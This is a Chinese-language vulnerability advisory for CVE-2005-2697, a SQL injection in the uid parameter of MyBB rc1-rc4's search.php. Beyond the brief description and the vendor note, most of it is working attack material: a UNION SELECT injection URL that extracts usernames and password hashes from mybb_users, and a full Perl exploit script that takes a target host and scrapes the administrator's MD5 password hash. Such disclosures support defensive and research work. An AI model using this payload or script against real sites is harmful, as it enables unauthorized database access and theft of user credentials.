MyBB search.php远程SQL注入漏洞


添加时间:
2008-10-02

系统编号:
WAVDB-00858
BugCVE: CVE- 2005-2697
BUGTRAQ: 14615

影响版本:
MyBB rc1-rc4

程序介绍:

MyBB是一款用PHP和MySQL开发的论坛程序。

漏洞分析:

MyBB处理用户请求时存在SQL注入漏洞,远程攻击者可以利用此漏洞非授权操作数据库。
MyBB的search.php脚本没有充分检查过滤uid参数数据,远程攻击者可以在输入中插入特定的SQL语句操作数据库,导致敏感信息泄露、非授权控制服务、数据库破坏。

漏洞利用:

search.php?action=finduser&uid=-1' UNION SELECT uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,username,password FROM mybb_users where usergroup=4/* 


#!/usr/bin/perl -w
use LWP::Simple;
if(!$ARGV[0] or !$ARGV[1] or !$ARGV[2]){
    print "#################[ MyBB SQL-Injection ]############################\n";
    print "#         Coded By Devil-00 [ sTranger-killer ]           #\n";
    print "# Exmp:- mybb.pl www.victem.com mybb 0 0 || To Get Search ID       #\n";
    print "# Exmp:- mybb.pl www.victem.com mybb searchid 1 || To Get MD5 Hash #\n";
    print "# Thnx For [ Xion - HACKERS PAL - ABDUCTER ]              #\n";
    print "##################################################  #################\n";
    exit;
}

my $host = 'http://'.$ARGV[0];
my $searchid = $ARGV[2];

if($ARGV[3] eq 0){
    print "[*] Trying $host\n";

$url = "/".$ARGV[1]."/search.php?action=finduser&uid=-1' UNION SELECT \
uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,ui  d,uid,uid,username,password FROM \
mybb_users where usergroup=4 and uid=1/*";  $page = get($host.$url) || die "[-] \
Unable to retrieve: $!"; print "[+] Connected to: $host\n";
    $page =~ m/<a href="search\.php\?action=results&sid=(.*?)&sortby=&order=">/ && print \
"[+] Search ID To Use : $1\n";  exit;    
}else{

print "[*] Trying $host\n";

$url = "/".$ARGV[1]."/search.php?action=results&sid=$searchid&sortby=&order=";
    $page = get($host.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $host\n";
    $page =~ m/<a href="member\.php\?action=profile&\;uid=1">(.*?)<\/a>/ && print \
"[+] User ID is: $1\n"; print "[-] Unable to retrieve User ID\n" if(!$1);
    $page =~ m/<a href="forumdisplay\.php\?fid=1">(.*?)<\/a>/ && print "[+] MD5 hash of \
password is: $1\n"; print "[-] Unable to retrieve hash of password\n" if(!$1);
}



解决方案:
厂商补丁:
MyBB
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.mybboard.com/

信息来源:
<*来源:s2b (s2b@hotmail.com)
HACKERS PAL (security@soqor.net)
Devil-00
ABDUCTER

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112448791006470&w=2
*>